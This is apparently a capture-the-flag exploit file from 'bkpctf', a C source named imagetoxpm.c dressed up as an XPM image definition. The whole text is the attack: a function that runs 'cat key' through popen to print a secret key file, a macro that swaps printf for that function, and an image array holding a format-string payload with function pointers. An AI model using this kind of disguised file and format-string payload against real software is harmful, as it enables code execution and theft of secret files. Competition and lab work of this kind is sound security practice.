bkpctf central square

imagetoxpm.c

extern int main();
int lol() {
  printf("ANIMEDAD GO\n");
  FILE* file = popen("cat key","r");
  // use fscanf to read:
  char buffer[10000];
  while(fscanf(file, "%100s", buffer) != EOF)
    printf("%s\n", buffer);

  pclose(file);
  return 0;
}

#define printf lol

static char *image[] = {"a c red", "500 500 1 1 ", "AAAAAAAAAAAAAA%s%s%s", &printf, &main};